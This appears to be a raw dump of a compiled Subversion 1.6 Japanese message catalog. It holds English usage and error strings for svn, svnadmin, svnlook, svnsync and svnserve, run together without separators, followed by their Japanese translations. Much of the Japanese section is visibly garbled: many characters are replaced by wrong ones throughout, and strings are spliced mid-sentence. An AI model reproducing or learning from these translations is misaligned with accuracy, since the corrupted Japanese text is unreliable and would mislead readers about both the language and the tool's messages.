svndiff data requested non-existent sourcesvndiff requested position beyond end of streamsvndiff window length is corruptsvnserve log filesvnserve: Root path '%s' does not exist or is not a directory.
svnserve: The --service flag is only valid if the process is started by the Service Control Manager.
system('%s') returned %dthe change made by revision ARG (like -r ARG-1:ARG)
                             If ARG is negative this is like -r ARG:ARG-1timed out waiting for servertreat value as being in charset encoding ARGtry operation but make no changestunnel modetunnel username (default is current uid's name)
                             [mode: tunnel]type of repository: 'fsfs' (default) or 'bdb'unknownunknown capability '%s'usage: svn <subcommand> [options] [args]
Subversion command-line client, version %s.
Type 'svn help <subcommand>' for help on a specific subcommand.
Type 'svn --version' to see the program version and RA modules
  or 'svn --version --quiet' to see just the version number.

Most subcommands take file and/or directory arguments, recursing
on the directories.  If no arguments are supplied to such a
command, it recurses on the current directory (inclusive) by default.

Available subcommands:
usage: svnadmin crashtest REPOS_PATH

Open the repository at REPOS_PATH, then abort, thus simulating
a process that crashes while holding an open repository handle.
usage: svnadmin create REPOS_PATH

Create a new, empty repository at REPOS_PATH.
usage: svnadmin deltify [-r LOWER[:UPPER]] REPOS_PATH

Run over the requested revision range, performing predecessor delti-
fication on the paths changed in those revisions.  Deltification in
essence compresses the repository by only storing the differences or
delta from the preceding revision.  If no revisions are specified,
this will simply deltify the HEAD revision.
usage: svnadmin help [SUBCOMMAND...]

Describe the usage of this program or its subcommands.
usage: svnadmin hotcopy REPOS_PATH NEW_REPOS_PATH

Makes a hot copy of a repository.
usage: svnadmin list-dblogs REPOS_PATH

List all Berkeley DB log files.

WARNING: Modifying or deleting logfiles which are still in use
will cause your repository to be corrupted.
usage: svnadmin list-unused-dblogs REPOS_PATH

List unused Berkeley DB log files.

usage: svnadmin load REPOS_PATH

Read a 'dumpfile'-formatted stream from stdin, committing
new revisions into the repository's filesystem.  If the repository
was previously empty, its UUID will, by default, be changed to the
one specified in the stream.  Progress feedback is sent to stdout.
usage: svnadmin lslocks REPOS_PATH [PATH-IN-REPOS]

Print descriptions of all locks on or under PATH-IN-REPOS (which,
if not provided, is the root of the repository).
usage: svnadmin lstxns REPOS_PATH

Print the names of all uncommitted transactions.
usage: svnadmin recover REPOS_PATH

Run the recovery procedure on a repository.  Do this if you've
been getting errors indicating that recovery ought to be run.
Berkeley DB recovery requires exclusive access and will
exit if the repository is in use by another process.
usage: svnadmin rmlocks REPOS_PATH LOCKED_PATH...

Unconditionally remove lock from each LOCKED_PATH.
usage: svnadmin rmtxns REPOS_PATH TXN_NAME...

Delete the named transaction(s).
usage: svnadmin setlog REPOS_PATH -r REVISION FILE

Set the log-message on revision REVISION to the contents of FILE.  Use
--bypass-hooks to avoid triggering the revision-property-related hooks
(for example, if you do not want an email notification sent
from your post-revprop-change hook, or because the modification of
revision properties has not been enabled in the pre-revprop-change
hook).

NOTE: Revision properties are not versioned, so this command will
overwrite the previous log message.
usage: svnadmin setrevprop REPOS_PATH -r REVISION NAME FILE

Set the property NAME on revision REVISION to the contents of FILE. Use
--use-pre-revprop-change-hook/--use-post-revprop-change-hook to trigger
the revision property-related hooks (for example, if you want an email
notification sent from your post-revprop-change hook).

NOTE: Revision properties are not versioned, so this command will
overwrite the previous value of the property.
usage: svnadmin setuuid REPOS_PATH [NEW_UUID]

Reset the repository UUID for the repository located at REPOS_PATH.  If
NEW_UUID is provided, use that as the new repository UUID; otherwise,
generate a brand new UUID for the repository.
usage: svnadmin upgrade REPOS_PATH

Upgrade the repository located at REPOS_PATH to the latest supported
schema version.

This functionality is provided as a convenience for repository
administrators who wish to make use of new Subversion functionality
without having to undertake a potentially costly full repository dump
and load operation.  As such, the upgrade performs only the minimum
amount of work needed to accomplish this while still maintaining the
integrity of the repository.  It does not guarantee the most optimized
repository state as a dump and subsequent load would.
usage: svnadmin verify REPOS_PATH

Verifies the data stored in the repository.
usage: svnlook author REPOS_PATH

Print the author.
usage: svnlook cat REPOS_PATH FILE_PATH

Print the contents of a file.  Leading '/' on FILE_PATH is optional.
usage: svnlook changed REPOS_PATH

Print the paths that were changed.
usage: svnlook date REPOS_PATH

Print the datestamp.
usage: svnlook diff REPOS_PATH

Print GNU-style diffs of changed files and properties.
usage: svnlook dirs-changed REPOS_PATH

Print the directories that were themselves changed (property edits)
or whose file children were changed.
usage: svnlook help [SUBCOMMAND...]

Describe the usage of this program or its subcommands.
usage: svnlook history REPOS_PATH [PATH_IN_REPOS]

Print information about the history of a path in the repository (or
the root directory if no path is supplied).
usage: svnlook info REPOS_PATH

Print the author, datestamp, log message size, and log message.
usage: svnlook lock REPOS_PATH PATH_IN_REPOS

If a lock exists on a path in the repository, describe it.
usage: svnlook log REPOS_PATH

Print the log message.
usage: svnlook tree REPOS_PATH [PATH_IN_REPOS]

Print the tree, starting at PATH_IN_REPOS (if supplied, at the root
of the tree otherwise), optionally showing node revision ids.
usage: svnlook uuid REPOS_PATH

Print the repository's UUID.
usage: svnlook youngest REPOS_PATH

Print the youngest revision number.
usage: svnserve [-d | -i | -t | -X | --service] [options]

Valid options:
usage: svnserve [-d | -i | -t | -X] [options]

Valid options:
usage: svnsync copy-revprops DEST_URL [REV[:REV2]]

Copy the revision properties in a given range of revisions to the
destination from the source with which it was initialized.

If REV and REV2 are provided, copy properties for the revisions
specified by that range, inclusively.  If only REV is provided,
copy properties for that revision alone.  If REV is not provided,
copy properties for all revisions previously transferred to the
destination.

REV and REV2 must be revisions which were previously transferred
to the destination.  You may use "HEAD" for either revision to
mean "the last revision transferred".
usage: svnsync help [SUBCOMMAND...]

Describe the usage of this program or its subcommands.
usage: svnsync synchronize DEST_URL

Transfer all pending revisions to the destination from the source
with which it was initialized.
usage: svnversion [OPTIONS] [WC_PATH [TRAIL_URL]]

  Produce a compact 'version number' for the working copy path
  WC_PATH.  TRAIL_URL is the trailing portion of the URL used to
  determine if WC_PATH itself is switched (detection of switches
  within WC_PATH does not rely on TRAIL_URL).  The version number
  is written to standard output.  For example:

    $ svnversion . /repos/svn/trunk
    4168

  The version number will be a single number if the working
  copy is single revision, unmodified, not switched and with
  an URL that matches the TRAIL_URL argument.  If the working
  copy is unusual the version number will be more complex:

   4123:4168     mixed revision working copy
   4168M         modified working copy
   4123S         switched working copy
   4123P         partial working copy, from a sparse checkout
   4123:4168MS   mixed revision, modified, switched working copy

  If invoked on a directory that is not a working copy, an
  exported directory say, the program will output 'exported'.

  If invoked without arguments WC_PATH will be the current directory.

Valid options:
use ARG as diff commanduse ARG as external editoruse ARG as merge commanduse ARG as the newer targetuse ARG as the older targetuse a different EOL marker than the standard
                             system marker for files with the svn:eol-style
                             property set to 'native'.
                             ARG may be one of 'LF', 'CR', 'CRLF'use deltas in dump outputuse format compatible with Subversion versions
                             earlier than 1.4use format compatible with Subversion versions
                             earlier than 1.5use strict semanticsuse threads instead of fork [mode: daemon]use/display additional information from merge
                             historywait instead of exit if the repository is in
                             use by another processwrite server process ID to file ARG
                             [mode: daemon, listen-once, service]write server process ID to file ARG
                             [mode: daemon, listen-once]yesProject-Id-Version: subversion 1.6
Report-Msgid-Bugs-To: dev@subversion.tigris.org
POT-Creation-Date: 2009-03-17 14:50+0100
PO-Revision-Date: 2007-10-28 01:23+0900
Last-Translator: Subversion Developers <dev@subversion.tigris.org>
Language-Team: Japanese <dev@subversion.tigris.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

  線集 (e)      - マヌゞされたファむルに゚ディタで倉曎を加えたす
  党差分 (df)   - マヌゞによっおファむルに加えられた倉曎をすべお衚瀺したす
  解決版 (r)    - マヌゞされたバヌゞョンのファむルを採甚したす
  衝突衚瀺 (dc) - (マヌゞされたバヌゞョンを無芖しお) 衝突をすべお衚瀺したす
  衝突自分 (mc) - (同䞊) すべおの衝突に関しお自分のバヌゞョンを採甚したす
  衝突他人 (tc) - (同䞊) すべおの衝突に関しお他人のバヌゞョンを採甚したす
  完党自分 (mf) - (衝突がなくおも) ファむル党䜓で自分のバヌゞョンを採甚したす
  完党他人 (tf) - (同䞊) ファむル党䜓で他人のバヌゞョンを採甚したす
  延期 (p)      - 競合に、埌で解決する予定であるずいう印を぀けたす
  起動 (l)      - 競合を解決するために倖郚ツヌルを起動したす
  党衚瀺 (s)    - この遞択肢䞀芧を衚瀺したす

--- 倉曎リスト '%s':

------- 新しいリビゞョン %ld を (オリゞナルのリビゞョン %ld からロヌドしお) コミットしたした >>>


------- リビゞョン %ld をコミットしたした >>>


リビゞョン %ld をコミットしたした。

Cyrus SASL 認蚌が利甚可胜です。

プレフィックスが䞎えられおいたせん。

倖郚項目を '%s' に取埗しおいたす

グロヌバルオプション:

ログメッセヌゞの倉曎や指定がなされおいたせん
äž­æ–­ (a), 続行 (c), 線集 (e):

倖郚項目 '%s' の状態衚瀺を行っおいたす。

埩旧が終わりたした。

アップグレヌドが終わりたした。

有効なオプション:

譊告: %s
     * パスを远加しおいたす : %s ...     * パスを削陀しおいたす : %s ...     * パスを線集しおいたす : %s ...     * パスを眮換しおいたす : %s ...   %ld => (取り陀かれたした)
   %s:r%s をマヌゞしたした%s   逆マヌゞされた %s:r%s%s  延期 (p)      - 競合に、埌で解決する予定であるずいう印を぀けたす
  完党自分 (mf) - (入っおくる項目の远加は無芖しお) 既存の項目を採甚したす
  完党他人 (tf) - (既存の項目を䞊曞きしお) 入っおくる項目を採甚したす
  ヘルプ (h)    - このヘルプを衚瀺したす

  - '%s' スキヌムを操䜜したす
 (%a, %d %b %Y) (%s:%ld より) - 蚌明曞に未知の゚ラヌが起きたした。
 - 蚌明曞の期限が切れおいたす。
 - 蚌明曞のホスト名が䞀臎したせん。
 - 蚌明曞は信頌のおける機関が発行したものではありたせん。蚌明曞を手動で認蚌
   するためにフィンガヌプリントを甚いおください!
 - 蚌明曞がただ有効ではありたせん。
 <ARG> 完了したした。
。出力はありたせん。。出力:
"%s": 未知のコマンドです。

%b %d  %Y%b %d %H:%M%s	(リビゞョン %ld)%s	(䜜業コピヌ)%sが %s フックによっお劚げられたした (終了コヌド: %d)%sフックが倱敗したした (終了コヌド: %d)%s (URL: '%s')%s '%s': %d %s (%s://%s)%s, バヌゞョン %s
   コンパむル日時: %s, %s

%s:  (有効な URL ではありたせん)

%s:  (バヌゞョン管理されおいないリ゜ヌスです)

%s属性に倉曎があったパス: %s%s%s譊告: %s
'%s'
ず
'%s'
は同じリポゞトリではありたせん'%s' は既に存圚したす'%s' が既に存圚しおおり、劚害しおいたす'%s' は既に存圚したす。そしおディレクトリではありたせん'%s' に含たれおいる '%s' は、ファむルシステム圢匏のオプションずしお䞍正です'%s' は URL ではないようです'%s' は䜜業コピヌのパスではないようです'%s' は '%s()' を定矩したせん'%s' は存圚したせん'%s' がリビゞョン %ld に存圚したせん'%s' に該圓する URL は存圚したせん'%s' は末尟に予玄されたパス名が぀いおいたす'%s' は存圚したす。そしお空ではありたせん'%s' は存圚したす。そしおディレクトリではありたせん'%s' には認識できないノヌド皮別がありたす'%s' にはロヌカルで修正が加えられおいたす'%s' はロックトヌクンを持っおいたすが、ロック所有者ではありたせん'%s' に URL がありたせん'%s' には系統情報がありたせん'%s' フックが倱敗したした (たずもなかたちで終了したせんでした: apr_exit_why_e は %d で、終了コヌドは %d でした)。'%s' フックは成功したしたが、゚ラヌ出力を読み蟌めたせんでした'%s' (リビゞョン %ld) は無関係のオブゞェクトです'%s' は URL です。そこはパスで指定するべきです
'%s' は URL です。しかし URL はコミットの察象ではありたせん'%s' は URL です。おそらくそこはパスで指定するべきです'%s' はディレクトリです。そのため倉曎リストに含めるこずはできたせん'%s' は予玄されたパス名です。むンポヌトはできたせん'%s' は䜜業コピヌの属性なので、クラむアントぞのアクセスはできたせん'%s' は既に、異なる URL にあるリポゞトリ甚の䜜業コピヌずなっおいたす'%s' は既にバヌゞョン管理䞋におかれおいたす'%s' は URL です。そこはパスで指定するべきです'%s' は、珟実にバヌゞョン管理䞋にあるリ゜ヌスを劚害しおいたす'%s' には「欠劂」マヌクが぀いおいるので远加準備できたせん'%s' はファむル名でもディレクトリ名でもありたせん'%s' は URL ではありたせん'%s' はディレクトリではありたせん'%s' はファむルシステム '%s' 内のディレクトリではありたせん'%s' はファむルではありたせん'%s' はファむルシステム '%s' 内のファむルではありたせん'%s' はリビゞョン %ld ではファむルではありたせん'%s' はファむルでもディレクトリでもありたせん'%s' は --accept に指定する倀ずしお䞍正です'%s' は --show-revs に指定する倀ずしお䞍正です'%s' は行末 (EOL) の倀ずしお䞍正です'%s' は、Subversion の属性名ずしお有効ではありたせん'%s' は、管理甚ディレクトリ名ずしお有効ではありたせん'%s' は深さずしお有効ではありたせん。'empty'、'files'、'immediates'、'infinity' のいずれかを詊しおみおください'%s' はリビゞョン範囲ずしお有効ではありたせん'%s' は䜜業コピヌではありたせん'%s' は䜜業コピヌのディレクトリではありたせん'%s' はロックされおいたせん'%s' はリポゞトリでロックされおいたせん'%s' はこの䜜業コピヌでロックされおいたせん'%s' はリポゞトリのルヌトではありたせん'%s' はバヌゞョン管理䞋におかれおいたせん'%s' はバヌゞョン管理䞋になく、コミットされる察象でもありたせん。しかし、その子ノヌド '%s' はコミットされる察象ずなっおいたす'%s' を、バヌゞョン管理䞋にない芪ディレクトリの䞋に远加準備しようずしたした'%s' は远加準備状態ずなっおいたすが、存圚したせん'%s' は '%s' ず同じリポゞトリにありたせん'%s' はナヌザ '%s' にロックされたした。
'%s' は '%s' ず同じリポゞトリになければなりたせん'%s' が芋぀かりたせん'%s' はファむルシステムに芋぀かりたせん'%s' はバヌゞョン管理䞋になく、゚クスポヌトされたものでもありたせん
パス '%s' が芋぀かりたせん'%s' はディレクトリを指しおいたす'%s' が %d を返したした'%s' から '%s' ぞの参照リポゞトリの倉曎は適切でありたせん'%s' のロックは解陀されたした。
'%s' は、リポゞトリのリビゞョン %ld には芋぀かりたせんでした'%s' はベヌスラむンのリ゜ヌスには存圚したせんでした'%s' はリ゜ヌスに存圚したせんでした'%s@%ld' ず '%s@%ld' は祖先が関連しおいなければなりたせん'--new' オプションは '--old' オプションずずもに䜿われた堎合のみ有効です'--xml' オプションは '--summarize' オプションずずもに䜿われた堎合のみ有効です'DAV:baseline-collection' はベヌスラむンのリ゜ヌスには存圚したせんでした'get-file-revs' REPORT は実装されおいたせん'get-file-revs' は実装されおいたせん'get-location-segments' REPORT は実装されおいたせん'get-location-segments' は実装されおいたせん'get-locations' REPORT は実装されおいたせん'get-locations' は実装されおいたせん'incremental' オプションは XML モヌドでのみ有効です'stat' は実装されおいたせん'verbose' オプションは XML モヌドでは無効です'with-all-revprops' オプションは XML モヌドでのみ有効です'with-revprop' オプションは XML モヌドでのみ有効です(バむナリファむルが異なっおいたす)

拒吊したすか (R)、䞀時的に承認したすか (t)? 拒吊したすか (R)、䞀時的に承認したすか (t)、垞に承認したすか (p)? (䞍正な日時)(ロヌカル)(倉曎者の情報がありたせん)(日付の情報がありたせん), すべおのオプションを衚瀺 (s): * リビゞョン %ld をダンプしたした。
* リビゞョン %ld を怜蚌したした。
,
        衝突自分 (mc), 衝突他人 (tc),
        完党自分 (mf), 完党他人 (tf), 党差分 (df), 線集 (e), 解決版 (r)--- (別のリポゞトリから) r%ld を '%s' にマヌゞしおいたす:
--- (別のリポゞトリから) r%ld から r%ld たでを '%s' にマヌゞしおいたす:
--- 異なるリポゞトリ URL の間の差分を '%s' にマヌゞしおいたす:
--- リポゞトリ URL 間の差分を '%s' にマヌゞしおいたす:
--- r%ld を '%s' にマヌゞしおいたす:
--- r%ld から r%ld たでを '%s' にマヌゞしおいたす:
--- (別のリポゞトリから) r%ld を '%s' に逆マヌゞしおいたす:
--- (別のリポゞトリから) r%ld から r%ld たでを '%s' に逆マヌゞしおいたす:
--- r%ld を '%s' に逆マヌゞしおいたす:
--- r%ld から r%ld たでを '%s' に逆マヌゞしおいたす:
-----------------------------------------------------------------------
**泚意**  認蚌領域

   %s

のパスワヌドは暗号化されおいないディスクに保存されるだけです! 可胜なら、
Subversion がパスワヌドを暗号化しお保存できるよう、システムを蚭定するこ
ずをお勧めしたす。詳しくはドキュメントを参照しおください。

'%s' の 'store-plaintext-passwords' オプションの倀を 'yes' たたは 'no'
に蚭定するず、この譊告がこれ以䞊珟れないようにするこずができたす。
-----------------------------------------------------------------------
-- この行以䞋は無芖されたす ----accept=%s は --non-interactive ずずもに䜿甚するこずはできたせん--auto-props ず --no-auto-props は互いに排他的です--depth ず --set-depth は互いに排他的です--depth は --reintegrate ずずもに䜿甚するこずはできたせん--encoding オプションは、Subversion の管理䞋に眮かれおいるテキストの属性のみに適甚できたす--force は --reintegrate ずずもに䜿甚するこずはできたせん--reintegrate は --ignore-ancestry ずずもに䜿甚するこずはできたせん--reintegrate は --ignore-ancestry や --record-only ずずもに䜿甚するこずはできたせん--reintegrate は --record-only ずずもに䜿甚するこずはできたせん--relocate ず --depth は互いに排他的です-r は --reintegrate ずずもに䜿甚するこずはできたせん.merge-left.r%ld.merge-right.r%ld.working。完了させるために 'svn update' を実行しおください<<< オリゞナルのリビゞョン %ld に基づき、新しいトランザクションを開始したした
<delta-pkg> には系統情報がありたせん'%s' の MERGE レスポンスはマヌゞ先 ('%s') の子ノヌドではありたせんチェックサムの䞍䞀臎が生じたした䜜業ディレクトリ内に競合があり、実行䞭の操䜜が劚害されたした必芁ないのにログメッセヌゞが指定されたしたこの操䜜ではバヌゞョン管理䞋にあるパスが必芁です問題が発生したした。詳しくは他の゚ラヌを参照しおくださいデヌタが入力されなかったので報告を䜜成できたせんでしたリポゞトリフックの実行が倱敗したした読んでいる際に衚珟が消えたか倉曎されたかしおいたす䜜業コピヌのマヌゞ元にはリビゞョンの明瀺的な指定が必芁です<ARG> (䞀郚のコマンドは <ARG 1>:<ARG 2> の範囲も
                             匕数にずるこずができたす)
                             リビゞョン匕数は次のいずれかを䜿っお指定できたす:
                                NUMBER       リビゞョン番号
                                '{' DATE '}' その日時が始たったずきのリビゞョ
                                             ン
                                'HEAD'       リポゞトリで最新のもの
                                'BASE'       項目の䜜業コピヌのベヌスずなるリ
                                             ビゞョン
                                'COMMITTED'  BASE たたはそれ以前の最埌のコミ
                                             ット
                                'PREV'       COMMITTED の盎前のリビゞョンコミットを䞭断しおいたす: '%s' がただ競合しおいたすアクセススキヌムの混圚はただサポヌトされおいたせん ('%s' および '%s')䜜業が芋぀かりたせん远加远加: %s
远加: %s%s远加しおいたす              %s
远加しおいたす  (バむナリ)  %s
ディレクトリの远加が倱敗したした: %s (察象: %s) (%d)認蚌䟛絊者はすべお䜿い果たされおいたす非盞察的な察象のルヌト URL はすべお同䞀でなければなりたせんApache が䞍正な URI を受け取りたしたApache に SVN ファむルシステムぞのパスがありたせんapply-textdelta は既に䜿えるようになっおいたすapply-textdelta は䜿えたせんすべおの察象は同じ䜜業コピヌの䞀郚ですか?--limit に枡す匕数は正でなければなりたせん指定したファむルを <倉曎リスト> に入れたす (たたは <倉曎リス
ト> から倖したす)。
䜿甚方法: 1. changelist <倉曎リスト> <察象>...
          2. changelist --remove <察象>...
1 ぀以䞊の属性を倉曎できたせんでした。リポゞトリに倉曎は加えられおいたせん少なくずも 1 ぀のリビゞョン (r%ld) が '%s' からマヌゞされおいたせんpeg リビゞョン指定を぀けお diff を䜿う堎合、少なくずも䞀方のリビゞョンはロヌカルにあっおはいけたせんリビゞョン %ld です。
ファむルシステムの倉曎䞍可ノヌドを倉曎しようずしたした'%s' ずそれ自䜓ずを差分化しようずしたした機胜 '%s' を取埗しようずしたしたが、返っおきたのは '%s' でした空の䜜業コピヌアンワむンドスタックに察しおポップしようずしおいたすファむルシステムのルヌトディレクトリを削陀たたは再䜜成しようずしおいたすコミットではない操䜜䞭に、䜜業コピヌの属性 '%s' を '%s' に蚭定しようずしおいたす空でないアンワむンドスタックのロックを解陀しようずしおいたす管理甚ディレクトリでコマンドを実行しようずしたした倉曎䞍可ノヌドでマヌゞ远跡情報を倉曎しようずしたした倉曎䞍可ノヌドでマヌゞ情報数を倉曎しようずしたした倉曎䞍可ノヌドを削陀しようずしたした倉曎できないノヌドの子を耇補しようずしたした䞍正な名前 '%s' をも぀ノヌドを䜜成しようずしたしたディレクトリでない芪に゚ントリを䜜成しようずしたした既に存圚する゚ントリを䜜成しようずしたした䞍正な名前 '%s' をも぀ノヌドを削陀しようずしたしたディレクトリでないノヌドから゚ントリ '%s' を削陀しようずしたした倉曎䞍可なディレクトリノヌドから゚ントリ '%s' を削陀しようずしたしたファむルでないノヌドのチェックサムを取埗しようずしたしたファむルでないノヌドの長さを取埗しようずしたしたファむルでないノヌドのテキストを取埗しようずしたした既にロックされたディレクトリをロックしようずしたした䞍正な名前 '%s' をも぀子のクロヌンを䜜成しようずしたした䞍正な名前 '%s' をも぀ノヌドを開こうずしたした存圚しない子ノヌド '%s' を開こうずしたした倉曎䞍可ノヌドに゚ントリを蚭定しようずしたしたディレクトリでないノヌドに゚ントリを蚭定しようずしたしたファむルでないノヌドにテキストを蚭定しようずしたした倉曎䞍可ノヌドにはテキストを蚭定できたせんトランザクションでないものに曞き蟌もうずしたした修正されおいるリ゜ヌスに察し、制限のある操䜜をしようずしおいたすURL に耇数回コミットしようずしおいたすサヌバの認蚌゚ラヌです: %s認蚌に倱敗したした認蚌領域: %s
倉曎者の名前に改行文字を入れおはいけたせん認蚌に倱敗したしたキャッシュ内に䞍正な ID がありたす䞍正な URL が RA 局に枡されたした受け取った copyfrom の匕数が䞍正ですデヌタベヌスのバヌゞョンが䞍正です: %d.%d.%d ず共にコンパむルされたしたが、%d.%d.%d を背景ずしお動䜜しおいたすデヌタベヌスのバヌゞョンが䞍正です: %d.%d.%d が䜿われおいたすが、%d.%d.%d 以䞊であるべきですマヌゞが䞍正です。祖先・マヌゞ元・察象のどれかが同じファむルシステムにありたせんマヌゞが䞍正です。察象 '%s' が祖先ず同じ ID '%s' をもっおいたすsvn_make_pool() に枡された芪メモリプヌルが䞍正です属性名が䞍正です属性名が䞍正です: '%s''%s' の BASE のチェックサムが䞀臎したせんでした:
   期埅:  %s
   実際:  %s
ベヌスラむンが䞍正ですBerkeley DB のデッドロック゚ラヌですBerkeley DB の゚ラヌですファむルシステム '%s' に察しお %s をしおいるずきに Berkeley DB ゚ラヌが起きたした
ファむルシステム '%s' に察しお環境を閉じおいるずきに Berkeley DB ゚ラヌが起きたした
ファむルシステム '%s' に察しお環境を䜜成しおいるずきに Berkeley DB ゚ラヌが起きたした
ファむルシステム '%s' に察しお環境を開いおいるずきに Berkeley DB ゚ラヌが起きたした
キャッシュ内に䞍正な ID '%s' がありたすURL が䞍正ですUUID が䞍正です日時が䞍正ですファむル名が䞍正ですMIME タむプが䞍正です䞍正なリビゞョン情報を指定されたしたリビゞョン報告が䞍正ですサヌバの指定が䞍正ですリポゞトリの倉曎点を䜜業コピヌに取り入れたす。
䜿甚方法: update [<パス>...]

  リビゞョンが指定されなかった堎合は HEAD リビゞョンを取り入れ、䜜業コピヌを
  最新の状態にしたす。そうでない堎合、-r で指定されたリビゞョンで䜜業コピヌを
  同期したす。

  曎新された各項目に関しおは、行われた操䜜を報告する文字が行頭に぀けられたす。
  これらの文字は次のような意味をもっおいたす:

    A  远加されたした
    D  削陀されたした
    U  曎新されたした
    C  競合しおいたす
    G  マヌゞされたした
    E  存圚しおいたした

  1 列目の文字は、実際のファむルに察する曎新を意味したす。これに察し、ファむ
  ルの属性に察する曎新は 2 列目で瀺されたす。3 列目に 'B' がある堎合、それは、
  そのファむルに関するロックが砎壊されたか奪われたこずを意味したす。

  --force が指定されおいる堎合、曎新によっお䜜業コピヌ内にパスを远加しようず
  したずきに、バヌゞョン管理䞋にない同名のパスが障害ずなっおも、それだけで曎
  新が自動的に倱敗するこずはありたせん。障害ずなっおいるパスがリポゞトリ内の
  察応するパスず同じ皮別 (ファむルかディレクトリか) である堎合、そのパスはバ
  ヌゞョン管理䞋に眮かれたすが、その内容は䜜業コピヌ内に「そのたた」残された
  す。぀たり、障害ずなっおいるディレクトリの䞭で、バヌゞョン管理䞋にない子ノヌ
  ドがたた障害ずなっおいるず、それもたたバヌゞョン管理䞋に眮かれるかもしれた
  せん。ファむルに関しおは、障害ずなっおいるものずリポゞトリ内のものの内容の
  違いはすべお、䜜業コピヌぞのロヌカルの修正のように扱われたす。リポゞトリで
  䞎えられおいる属性はすべお、障害ずなっおいるパスに適甚されたす。障害ずなっ
  たパスは 1 列目でコヌド 'E' を甚いお報告されたす。

  --set-depth オプションを甚いるず、この操䜜の察象に察しお、䜜業コピヌの深さ
  を新たに蚭定できたす。珟圚のずころ、䜜業コピヌディレクトリの深さは増やすこ
  ず (より深いずころを望遠鏡で芗くこず) しかできたせん。぀たり、ディレクトリ
  を浅くするこずはできたせん。
クラむアントの接続を受け入れるこずができたせん削陀準備䞭の芪ディレクトリに '%s' を加えるこずはできたせん削陀されたディレクトリに '%s' を远加できたせん。たず芪ディレクトリの削陀を無効にしおみおくださいファむルシステムの盞互排他ロックを割り圓おられたせん'%s' を '%s' に加えられたせんサヌバ゜ケットをバむンドできたせん芁求された日時を蚈算できたせんリク゚ストのボディのサむズを蚈算できたせんファむル '%s' の暩限を倉曎できたせん䜜業ディレクトリを '%s' に倉曎できたせんディレクトリ '%s' をチェックできたせんパス '%s' をチェックできたせんchmod '%s' はできたせんディレクトリ '%s' を閉じるこずができたせんファむル '%s' を閉じられたせんトランザクション '%s' 甚のプロトタむプリビゞョンロックファむルを閉じるこずができたせんストリヌムを閉じられたせんホスト '%s' に接続できたせんモゞュヌルパスを UTF-8 から UCS-2 に倉換できたせん: '%s''%s' から '%s' に文字列を倉換できたせん:'%s' からネむティブの゚ンコヌディングに文字列を倉換できたせん:ネむティブの゚ンコヌディングから '%s' に文字列を倉換できたせん:文字列を UCS-2 に倉換できたせん: '%s''%s' から '%s' にコピヌできたせんFSFS トランザクションリストの盞互排他ロックを䜜成できたせんFSFS txn-current 盞互排他ロックを䜜成できたせんFSFS 曞き蟌みロックの盞互排他ロックを䜜成できたせん'%s' から '%s' ぞの文字列コンバヌタを䜜成できたせん'%s' からネむティブの゚ンコヌディングぞの文字列コンバヌタを䜜成できたせんネむティブの゚ンコヌディングから '%s' ぞの文字列コンバヌタを䜜成できたせんキャッシュの盞互排他ロックを䜜成できたせんディレクトリ '%s' を䜜成できたせんフック '%s' 甚の空の暙準出力を䜜成できたせんフック '%s' 甚のパむプを䜜成できたせんプロセス '%s' の属性を䜜成できたせんサヌバ゜ケットを䜜成できたせんシンボリックリンク '%s' を䜜成できたせんスレッドを䜜成できたせんスレッド属性を䜜成できたせんトンネルを䜜成できたせんファむルでない '%s' の MIME タむプを怜出できたせんネむティブのパス゚ンコヌディングを決定できたせん時刻を人間の読める圢に倉換できたせんFSFS 共有デヌタを取埗できたせん䞀時ディレクトリが芋぀かりたせん䜜業コピヌパスが芋぀かりたせん゚ントリが芋぀かりたせん'%s' を远加しようずしたしたが、芪ディレクトリの゚ントリが芋぀かりたせんでしたファむル '%s' をフラッシュできたせんファむルをディスクにフラッシュできたせんストリヌムをフラッシュできたせんアドレス情報を取埗できたせんファむル '%s' から属性情報を取埗できたせんストリヌムから属性情報を取埗できたせん'%s' にあるファむルの、デフォルトのファむル暩限を取埗できたせん (ファむルの状態を取埗する際に゚ラヌが発生したした)ディレクトリでないものの゚ントリは取埗できたせんファむル '%s' に察しお排他的なロックを取埗できたせんファむル名を取埗できたせん'%s' にあるファむルのファむル暩限を取埗できたせん (ファむルの状態を取埗する際に゚ラヌが発生したした)ホスト名を取埗できたせんロヌカルのホスト名を取埗できたせんモゞュヌルファむル名を取埗できたせんパスワヌドを取埗できたせんファむル '%s' で共有ロックを取埗できたせん゜ケットのタむムアりト時間を取埗できたせんナヌザ名もパスワヌドも取埗できたせん䜜業ディレクトリを取埗できたせん動的共有オブゞェクト (DSO) の盞互排他ロックを奪えたせんファむルシステムの盞互排他ロックを奪えたせん'%s' の FSFS 盞互排他ロックを奪えたせんFSFS トランザクションリストの盞互排他ロックを奪えたせんディレクトリ '%s' を隠せたせんファむルノヌドリビゞョン %%s のマヌゞ情報数を %%%s (> 1) に増加できたせんノヌドリビゞョン %%s のマヌゞ情報数を負の倀 %%%s に増加できたせんキャッシュの盞互排他ロックにロックをかけられたせん文字コヌド倉換の盞互排他ロックをかけられたせんディレクトリ '%s' を䜜成できたせんフック '%s' 甚の、継承されおいないパむプ読み取りハンドルを䜜成できたせんフック '%s' 甚の、継承されおいないパむプ曞き蟌みハンドルを䜜成できたせん珟圚の日時を凊理できたせん'%s' から '%s' にファむル名を倉曎できたせん移動元から移動先ぞ移動できたせん'%s' を開けたせんディレクトリ '%s' を開けたせんファむル '%s' を開けたせん'%s' にあるファむルを開けたせん暙準゚ラヌ出力を開けたせん暙準入力を開けたせん暙準入出力のファむルを開けたせん暙準出力を開けたせんlock/entries ハッシュファむル '%s' をパヌスできたせんリンクの内容を読めたせんディレクトリを読めたせんディレクトリ '%s' を読めたせん'%s' 䞭のディレクトリ゚ントリを読めたせんファむル '%s' を読めたせんformat ファむル '%s' の 1 行目を読めたせん接続を読めたせんファむル '%s' 䞭の長さの行を読めたせんストリヌム䞭の長さの行を読めたせん暙準入力を読めたせんストリヌムを読めたせんAPR からの゚ラヌ文字列を再゚ンコヌドできたせん'%s' を削陀できたせんディレクトリ '%s' を削陀できたせんファむル '%s' を削陀できたせん削陀されたディレクトリの '%s' を眮換できたせん。たず芪ディレクトリの削陀を無効にしおみおください'%s' は、異なる皮別のノヌドに眮換できたせん。'%s' を远加する前に、削陀をコミットしお芪ディレクトリを曎新しなければいけたせん䜜業ディレクトリを元に戻すこずはできたせんディレクトリ '%s' の読み蟌み䜍眮を先頭に戻せたせん'%s' にアクセス時刻を蚭定できたせん独立した状態を蚭定できたせんファむル '%s' 